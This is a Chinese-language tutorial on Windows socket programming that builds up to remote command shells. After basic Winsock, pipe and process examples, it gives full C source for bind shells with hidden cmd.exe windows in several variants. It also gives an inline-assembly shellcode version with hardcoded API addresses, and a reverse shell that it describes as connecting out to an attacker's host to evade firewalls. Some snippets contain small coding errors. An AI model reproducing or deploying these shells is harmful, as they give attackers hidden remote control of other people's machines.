socket編程
服務器端代碼如下:
#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib") //鏈接Ws2_32.lib
int main(){
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&ws); //MAKEWORD(2,2)用於指定winsock版本,這裏使用的是2.2版本
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //AF_INET 指定協議類型爲Internet協議,SOCK_STREAM 指定套接字類型爲流套接字 IPPROTO_TCP指定TCP傳輸層協議
struct sockaddr_in server;
server.sin_addr.s_addr = ADDR_ANY;
server.sin_port=htons(830);
server.sin_family = AF_INET;
ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
ret = listen(listenFD,4);
while(1){
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
char * msg = "Hello! Just Test";
send(clientFD,msg,sizeof(msg),0);
colsesocket(clientFD);
}
closesocket(listenFD);
return 0;
}
客戶端:
#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib") //鏈接Ws2_32.lib
#define PORT 830
#define MAXDATASIZE 100
int main(int argc,char * argv[]){
int numbytes;
char Buff[MAXDATASIZE];
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
SOCKET sockfd = socket(AF_INET,SOCK_STREAM,0); //最後一個參數爲0時表示不指定協議,客戶端更具服務端動態選擇協議使用。
struct sockaddr_in server;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port=htons(PORT);
server.sin_family = AF_INET;
if(connect(sockfd,(struct sockaddr *)&server,sizeof(struct server)) != -1){
if((numbytes=recv(sockfd,buf,MAXDATASIZE,0))!=-1){
buf[numbytes]='\0';
printf("%s",buf);
}
}
closesocket(sockfd);
return 0;
}
PIPE的使用
共享條件:
- 進程之間是子父進程關係
- 子進程繼承父進程
- PIPE管道允許被繼承
/*
BOOL CreatePipe(
PHANDLE hReadPipe, //PIPE管道讀取數據句柄,通過ReadFile函數可以從此句柄讀取數據
PHANDLE hWritePipe, //PIPE管道寫入數據句柄,通過WriteFile函數可以向此句柄中寫入數據
LPSECURITY_ATTRIBUTES lpPipeAttributes, //指定PIPE管道的安全屬性,通過此結構可以設置PIPE管道是否允許子進程繼承
DWORD nSize //PIPE管道大小(字節單位),設置爲0則爲使用系統默認緩存尺寸
);
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //本結構體大小
LPVOID lpSecurityDescriptor; //指向SECURITY_DESCRIPTOR結構的指針,爲NULL時表示使用默認安全描述符
BOOL bInheritHandle; //指定是否允許子進程繼承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
*/
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength=12;
pipeattr.lpSecurityDescriptor=0;
pipeattr.bInheritHandle = true;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);
創建子進程
/*BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine, //要執行的命令行
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles, //是否繼承父進程
DWORD dwCreationFlags, //進程創建標誌,通常設置爲0
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo, //用於設置啓動信息
LPPROCESS_INFORMATION lpProcessInformation //用戶獲取子進程句柄或者子進程ID
);
*/
#include<windows.h>
int main(){
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
SHELL
通過組合上述3部分知識可以構造如下shell
雙管道版本:
#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32")
int main(){
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&ws);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_addr.s_addr = ADDR_ANY;
server.sin_port=htons(830);
server.sin_family = AF_INET;
ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
ret = listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
pipeattr2.nLength=12;
pipeattr2.lpSecurityDescriptor=0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdError = si.hStdOutput = hWritePipe1;
PROCESS_INFORMATION ProcessInformation;
ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1){
ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); //用於檢測PIPE是否有數據可供讀取,不會改變PIPE管道中的內容,不會阻塞。
if(lBytesRead){
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret = send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else{
lBytesRead = recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
return 0;
}
對應的彙編語言版本(多進程,多線程要考慮異步問題,所以在下述代碼的關鍵位置添加了時間延遲以等待子進程運行完畢):
int main(){
__asm{
//LoadLibarary("ws2_32")
push ebp;
mov ebp,esp;
mov eax,0x00003233;
push eax;
mov eax,0x5f327377;
push eax;
push esp;
mov eax,0x7c801d7b;
call eax;
sub esp,8;
//HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
mov [ebp-4],0x0; hReadPipe1 => [ebp-4]
mov [ebp-8],0x0; hWritePipe1 => [ebp-8]
mov [ebp-12],0x0; hReadPipe2 => [ebp-12]
mov [ebp-16],0x0; hWritePipe2 => [ebp-16]
//WSAStartup(MAKEWORD(2,2),&ws), the size of "WSADATA" is 400
sub esp,400;
push esp;
push 0x202;
mov edx,0x71a26a55; the address of WSAStartup is 0x71a26a55
call edx;
// listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
push 6;
push 1;
push 2;
mov edx,0x71a24211; the address of socket is 0x71a24211
call edx;
mov ebx,eax; listenFD => ebx
/*
struct sockaddr_in server;
server.sin_addr.s_addr = ADDR_ANY;
server.sin_port=htons(830);
server.sin_family = AF_INET;
*/
xor edi,edi;
push edi;
push edi;
push edi;
mov eax,0x3E030002;
push eax;
mov edi,esp;
//ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
push 0x10;
push edi;
push ebx;
mov edx,0x71a24480; the address of bind is 0x71a24480
call edx;
//ret = listen(listenFD,2);
mov eax,2;
push eax;
push ebx;
mov edx,0x71a28cd3; the address of listen is 0x71a28cd3
call edx;
//int iAddrSize = sizeof(server);
mov eax,0x10;
//SOCKET clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
push eax;
push esp;
push edi;
push ebx;
mov edx,0x71a31040; the address of accept is 0x71a31040
call edx;
mov ebx,eax; clientFD => ebx
/*
SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle = true;
*/
xor edi,edi;
inc edi;
push edi;
xor edi,edi;
push edi;
mov eax,0xc;
push eax;
mov esi,esp; pipeattr1=pipeattr2 => esi
//CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
push edi;
push esi;
lea eax,[ebp-8];
push eax;
lea eax,[ebp-4];
push eax;
mov edx,0x7c81d83f; the address of CreatePipe is 0x7c81d83f
call edx;
//CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
push edi;
push esi;
lea eax,[ebp-16];
push eax;
lea eax,[ebp-12];
push eax;
mov edx,0x7c81d83f; the address of CreatePipe is 0x7c81d83f
call edx;
//STARTUPINFO si;
sub esp,68;
//ZeroMemory(&si,sizeof(si));
mov edi,esp; si => edi
xor eax,eax;
mov ecx,17;
rep stos dword ptr es:[edi];
/*
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdError = si.hStdOutput = hWritePipe1;
*/
mov edi,esp;
mov eax,0x0101;
mov [edi+0x2c],eax;
mov eax,[ebp-12];
mov [edi+0x38],eax;
mov eax,[ebp-8];
mov [edi+0x3c],eax;
mov [edi+0x40],eax;
//PROCESS_INFORMATION ProcessInformation;
sub esp,16;
mov esi,esp; ProcessInformation => esi
//ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
mov eax,0x00646d63;
push eax;
mov eax,esp; cmd => eax
push esi;
push edi;
push ecx;
push ecx;
push ecx;
inc ecx;
push ecx;
dec ecx;
push ecx;
push ecx;
push eax;
push ecx;
mov edx,0x7c80236b; the address of CreateProcessA is 0x7c80236b
call edx;
//char Buff[1024];
sub esp,0x400;
mov edi,esp; Buff => edi
//unsigned long lBytesRead;
mov eax,0;
push eax;
mov esi,esp; lBytesRead => esi
// while(1){
loop1:
//sleep 1000ms
mov eax,200;
push eax;
mov edx,0x7c802446; the address of sleep is 0x7c802446
call edx;
//ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
push 0;
push 0;
push esi;
mov eax,1024;
push eax;
push edi;
mov eax,[ebp-4];
push eax;
mov edx,0x7c860977; the address of PeekNamedPipe is 0x7c860977
call edx;
//if(lBytesRead){
mov eax,[esi];
test eax,eax;
jz recv_command;
//ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
push 0;
push esi;
mov eax,[esi];
push eax;
push edi;
mov eax,[ebp-4];
push eax;
mov edx,0x7c801812; the address of ReadFile is 0x7c801812
call edx;
//ret = send(clientFD,Buff,lBytesRead,0);
push 0;
mov eax,[esi];
push eax;
push edi;
push ebx;
mov edx,0x71a24c27; the address of send is 0x71a24c27
call edx;
jmp loop1;
//else{
recv_command:
//lBytesRead = recv(clientFD,Buff,1024,0);
push 0;
mov eax,1024;
push eax;
push edi;
push ebx;
mov edx,0x71a2676f; the address of recv is 0x71a2676f
call edx;
mov [esi],eax;
//ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
push 0;
push esi;
push eax;
push edi;
mov eax,[ebp-16];
push eax;
mov edx,0x7c810e27; the address of WriteFile is 0x7c810e27
call edx;
jmp loop1;
mov esp,ebp;
pop ebp;
}
return 0;
}
單管道版本:
#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#include<string.h>
#pragma comment(lib,"Ws2_32")
int main(){
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&ws);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_addr.s_addr = ADDR_ANY;
server.sin_port=htons(830);
server.sin_family = AF_INET;
ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
ret = listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength=12;
pipeattr.lpSecurityDescriptor=0;
pipeattr.bInheritHandle = true;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = si.hStdOutput = hWritePipe;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead;
while(1){
char cmd[200] = "cmd.exe /c";
ret = PeekNamedPipe(hReadPipe,Buff,1024,&lBytesRead,0,0); //用於檢測PIPE是否有數據可供讀取,不會改變PIPE管道中的內容,不會阻塞。
if(lBytesRead){
ret = ReadFile(hReadPipe,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret = send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else{
lBytesRead = recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret = CreateProcess(NULL,strncat(cmd,Buff,lBytesRead ),NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
if(!ret) break;
}
}
return 0;
}
零管道版本
相對好用些,所謂零管道就是沒有使用PIPE而是直接將socket句柄重定向到子進程的輸入,輸出及錯誤輸出。而子進程是非重疊IO(重疊IO又名異步IO)支持的對象所以這裏需要使用WSAScoket生成非重疊IO屬性的socket。
#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32")
int main(){
WSADATA ws;
SOCKET listenFD;
int ret;
WSAStartup(MAKEWORD(2,2),&ws);
listenFD = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
struct sockaddr_in server;
server.sin_addr.s_addr = ADDR_ANY;
server.sin_port=htons(830);
server.sin_family = AF_INET;
ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
ret = listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput=si.hStdError = si.hStdOutput = (void *)clientFD;
PROCESS_INFORMATION ProcessInformation;
ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
反向零管道版本
用於由目標機器向外連接攻擊主機以避開防火牆的檢測
#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32")
int main(int argc,char* argv[]){
if(argc < 3){
printf("Two Args are required!\n");
return 0;
}
char * IP = argv[1];
int Port = atoi(argv[2]);
WSADATA ws;
int ret;
WSAStartup(MAKEWORD(2,2),&ws);
SOCKET FD = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
struct sockaddr_in server;
server.sin_addr.s_addr = inet_addr(IP);
server.sin_port=htons(Port);
server.sin_family = AF_INET;
int iAddrSize = sizeof(server);
ret = connect(FD,(sockaddr *)&server,iAddrSize);
printf("%d",ret);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput=si.hStdError = si.hStdOutput = (void *)FD;
PROCESS_INFORMATION ProcessInformation;
ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}